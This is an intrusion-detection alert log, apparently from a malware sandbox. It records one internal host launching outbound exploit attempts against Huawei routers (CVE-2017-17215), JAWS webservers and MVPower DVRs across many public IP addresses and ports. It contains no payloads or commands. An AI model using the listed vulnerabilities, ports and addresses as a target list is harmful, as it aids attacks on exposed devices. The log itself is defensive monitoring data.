Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.23.36.64

Timestamp:	06/01/24-18:15:54.251867
SID:	2835222
Source Port:	53694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.40.142

Timestamp:	06/01/24-18:15:54.274736
SID:	2835222
Source Port:	40134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.246.114.148

Timestamp:	06/01/24-18:15:53.238041
SID:	2030092
Source Port:	49670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.165.6.182

Timestamp:	06/01/24-18:15:55.265584
SID:	2030092
Source Port:	42754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.201.55.115

Timestamp:	06/01/24-18:15:53.241186
SID:	2030092
Source Port:	42926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.203.121

Timestamp:	06/01/24-18:15:54.254586
SID:	2835222
Source Port:	54026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 79.216.128.156

Timestamp:	06/01/24-18:15:55.265445
SID:	2030092
Source Port:	56144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 115.7.126.94

Timestamp:	06/01/24-18:15:56.246425
SID:	2025883
Source Port:	54018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.168.229.134

Timestamp:	06/01/24-18:15:53.238312
SID:	2030092
Source Port:	59816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.8.69.255

Timestamp:	06/01/24-18:15:53.240726
SID:	2025883
Source Port:	50846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.221.116.139

Timestamp:	06/01/24-18:15:53.238282
SID:	2030092
Source Port:	55598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 81.78.87.67

Timestamp:	06/01/24-18:15:53.241698
SID:	2025883
Source Port:	40300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.199.249

Timestamp:	06/01/24-18:15:54.274578
SID:	2835222
Source Port:	48220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.108.83.196

Timestamp:	06/01/24-18:15:54.274916
SID:	2829579
Source Port:	46990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.200.90.77

Timestamp:	06/01/24-18:15:55.267260
SID:	2030092
Source Port:	57372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 176.104.168.239

Timestamp:	06/01/24-18:15:54.240296
SID:	2025883
Source Port:	44588
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.59.161

Timestamp:	06/01/24-18:15:54.251978
SID:	2835222
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.2.59

Timestamp:	06/01/24-18:15:56.307218
SID:	2829579
Source Port:	51982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.200.45.182

Timestamp:	06/01/24-18:15:54.256554
SID:	2835222
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.32.96.160

Timestamp:	06/01/24-18:15:54.255441
SID:	2835222
Source Port:	52168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 105.120.208.242

Timestamp:	06/01/24-18:15:53.240427
SID:	2025883
Source Port:	34260
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.213.71.177

Timestamp:	06/01/24-18:15:56.287004
SID:	2025883
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.184.97

Timestamp:	06/01/24-18:15:54.254181
SID:	2829579
Source Port:	44086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.174.153.53

Timestamp:	06/01/24-18:15:55.259864
SID:	2835222
Source Port:	38666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.183.211.22

Timestamp:	06/01/24-18:15:55.267520
SID:	2030092
Source Port:	52308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.211.151.21

Timestamp:	06/01/24-18:15:54.273878
SID:	2829579
Source Port:	60218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.16.119

Timestamp:	06/01/24-18:15:54.274063
SID:	2829579
Source Port:	49540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.47.79.133

Timestamp:	06/01/24-18:15:54.238961
SID:	2025883
Source Port:	37350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 36.18.192.99

Timestamp:	06/01/24-18:15:56.254703
SID:	2030092
Source Port:	42576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.24.255.213

Timestamp:	06/01/24-18:15:53.241108
SID:	2030092
Source Port:	52008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.198.161.205

Timestamp:	06/01/24-18:15:56.308137
SID:	2829579
Source Port:	48752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.154.17.102

Timestamp:	06/01/24-18:15:53.237476
SID:	2030092
Source Port:	35232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.193.154.175

Timestamp:	06/01/24-18:15:54.251240
SID:	2829579
Source Port:	38612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.134.7.68

Timestamp:	06/01/24-18:15:54.240357
SID:	2025883
Source Port:	59202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.193.10.45

Timestamp:	06/01/24-18:15:54.251351
SID:	2835222
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.18.243.86

Timestamp:	06/01/24-18:15:55.266794
SID:	2030092
Source Port:	51872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 132.66.64.38

Timestamp:	06/01/24-18:15:54.238864
SID:	2030092
Source Port:	40456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.86.90.224

Timestamp:	06/01/24-18:15:55.259707
SID:	2835222
Source Port:	42860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.249.76

Timestamp:	06/01/24-18:15:54.252650
SID:	2835222
Source Port:	35458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.75.186

Timestamp:	06/01/24-18:15:54.255507
SID:	2835222
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.182.7

Timestamp:	06/01/24-18:15:55.260121
SID:	2835222
Source Port:	45602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 59.172.71.185

Timestamp:	06/01/24-18:15:54.238523
SID:	2025883
Source Port:	58026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.44.219

Timestamp:	06/01/24-18:15:54.252766
SID:	2829579
Source Port:	55648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.161.29

Timestamp:	06/01/24-18:15:54.253117
SID:	2829579
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.33.185.72

Timestamp:	06/01/24-18:15:54.239895
SID:	2030092
Source Port:	38226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.153.229

Timestamp:	06/01/24-18:15:55.261655
SID:	2835222
Source Port:	57692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.22.183

Timestamp:	06/01/24-18:15:54.274702
SID:	2829579
Source Port:	52758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.107.164.239

Timestamp:	06/01/24-18:15:54.274543
SID:	2829579
Source Port:	38888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.191.152.237

Timestamp:	06/01/24-18:15:54.238344
SID:	2030092
Source Port:	46754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.179.235.7

Timestamp:	06/01/24-18:15:55.266378
SID:	2030092
Source Port:	42736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.235.31.17

Timestamp:	06/01/24-18:15:54.237601
SID:	2030092
Source Port:	44574
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.71.190

Timestamp:	06/01/24-18:15:55.260550
SID:	2829579
Source Port:	58116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.93.240.94

Timestamp:	06/01/24-18:15:54.253777
SID:	2829579
Source Port:	52106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.47.52.166

Timestamp:	06/01/24-18:15:53.241837
SID:	2025883
Source Port:	57174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.60.77.246

Timestamp:	06/01/24-18:15:56.306901
SID:	2829579
Source Port:	34652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.186.16.118

Timestamp:	06/01/24-18:15:54.274833
SID:	2835222
Source Port:	46780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.95.106.67

Timestamp:	06/01/24-18:15:54.256689
SID:	2835222
Source Port:	52956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 157.151.151.63

Timestamp:	06/01/24-18:15:54.240458
SID:	2025883
Source Port:	35078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.229.128.11

Timestamp:	06/01/24-18:15:56.254680
SID:	2025883
Source Port:	34716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 151.12.11.94

Timestamp:	06/01/24-18:15:55.267159
SID:	2030092
Source Port:	48974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.148.202

Timestamp:	06/01/24-18:15:55.233750
SID:	2829579
Source Port:	34658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.111.33.4

Timestamp:	06/01/24-18:15:55.268402
SID:	2030092
Source Port:	50962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.196.70.199

Timestamp:	06/01/24-18:15:54.256369
SID:	2829579
Source Port:	51756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.150.123.75

Timestamp:	06/01/24-18:15:55.261573
SID:	2835222
Source Port:	60606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.223.56.124

Timestamp:	06/01/24-18:15:56.306780
SID:	2835222
Source Port:	50380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 124.204.6.25

Timestamp:	06/01/24-18:15:54.239606
SID:	2025883
Source Port:	48026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.205.140.173

Timestamp:	06/01/24-18:15:56.307768
SID:	2829579
Source Port:	49984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.193.154.175

Timestamp:	06/01/24-18:15:54.251240
SID:	2835222
Source Port:	38612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.248.232.76

Timestamp:	06/01/24-18:15:54.256774
SID:	2835222
Source Port:	54536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.205.135

Timestamp:	06/01/24-18:15:54.274187
SID:	2835222
Source Port:	35414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.64.231.154

Timestamp:	06/01/24-18:15:54.251665
SID:	2835222
Source Port:	43196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.85.240.37

Timestamp:	06/01/24-18:15:54.254997
SID:	2829579
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.119.143.84

Timestamp:	06/01/24-18:15:56.245427
SID:	2030092
Source Port:	59018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.32.68

Timestamp:	06/01/24-18:15:56.288088
SID:	2829579
Source Port:	53796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.252.4.200

Timestamp:	06/01/24-18:15:53.238850
SID:	2030092
Source Port:	34456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.85.120

Timestamp:	06/01/24-18:15:54.252942
SID:	2835222
Source Port:	44394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.51.243.47

Timestamp:	06/01/24-18:15:55.263544
SID:	2835222
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.20.23.86

Timestamp:	06/01/24-18:15:55.268432
SID:	2030092
Source Port:	42592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.25.85

Timestamp:	06/01/24-18:15:55.259198
SID:	2829579
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.176.40.173

Timestamp:	06/01/24-18:15:53.237679
SID:	2030092
Source Port:	48530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.88.60.138

Timestamp:	06/01/24-18:15:54.256631
SID:	2829579
Source Port:	37794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.97.219.225

Timestamp:	06/01/24-18:15:55.266499
SID:	2030092
Source Port:	48428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.247.195.212

Timestamp:	06/01/24-18:15:54.275349
SID:	2829579
Source Port:	44912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.61.170.174

Timestamp:	06/01/24-18:15:54.274432
SID:	2835222
Source Port:	38934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.37.220.40

Timestamp:	06/01/24-18:15:53.238244
SID:	2030092
Source Port:	44946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 83.217.140.1

Timestamp:	06/01/24-18:15:56.246669
SID:	2025883
Source Port:	35082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.95.177.47

Timestamp:	06/01/24-18:15:54.274865
SID:	2829579
Source Port:	43694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.85.186.89

Timestamp:	06/01/24-18:15:54.251517
SID:	2829579
Source Port:	52998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.59.59.222

Timestamp:	06/01/24-18:15:56.246748
SID:	2030092
Source Port:	37954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 176.135.116.139

Timestamp:	06/01/24-18:15:56.255398
SID:	2025883
Source Port:	43720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.1.74.103

Timestamp:	06/01/24-18:15:53.240199
SID:	2030092
Source Port:	37886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.54.35.204

Timestamp:	06/01/24-18:15:56.246777
SID:	2030092
Source Port:	42388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.207.94.97

Timestamp:	06/01/24-18:15:54.253661
SID:	2829579
Source Port:	55562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.35.43.213

Timestamp:	06/01/24-18:15:55.266444
SID:	2030092
Source Port:	43606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.147.35.71

Timestamp:	06/01/24-18:15:54.255075
SID:	2835222
Source Port:	39874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 48.52.58.128

Timestamp:	06/01/24-18:15:53.247100
SID:	2030092
Source Port:	54366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.148.149.212

Timestamp:	06/01/24-18:15:56.307705
SID:	2829579
Source Port:	40474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.214.96.213

Timestamp:	06/01/24-18:15:54.256025
SID:	2829579
Source Port:	34408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.99.218.12

Timestamp:	06/01/24-18:15:56.246301
SID:	2030092
Source Port:	48698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.30.191

Timestamp:	06/01/24-18:15:54.275164
SID:	2829579
Source Port:	58472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.249.106.11

Timestamp:	06/01/24-18:15:54.251379
SID:	2835222
Source Port:	36386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.0.139.31

Timestamp:	06/01/24-18:15:54.238074
SID:	2030092
Source Port:	55982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.82.161

Timestamp:	06/01/24-18:15:56.307739
SID:	2835222
Source Port:	41044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.164.26

Timestamp:	06/01/24-18:15:55.258740
SID:	2835222
Source Port:	49574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.117.26.254

Timestamp:	06/01/24-18:15:55.260455
SID:	2835222
Source Port:	41000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.55.180.73

Timestamp:	06/01/24-18:15:53.241651
SID:	2030092
Source Port:	40554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.162.73

Timestamp:	06/01/24-18:15:55.263479
SID:	2835222
Source Port:	55144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

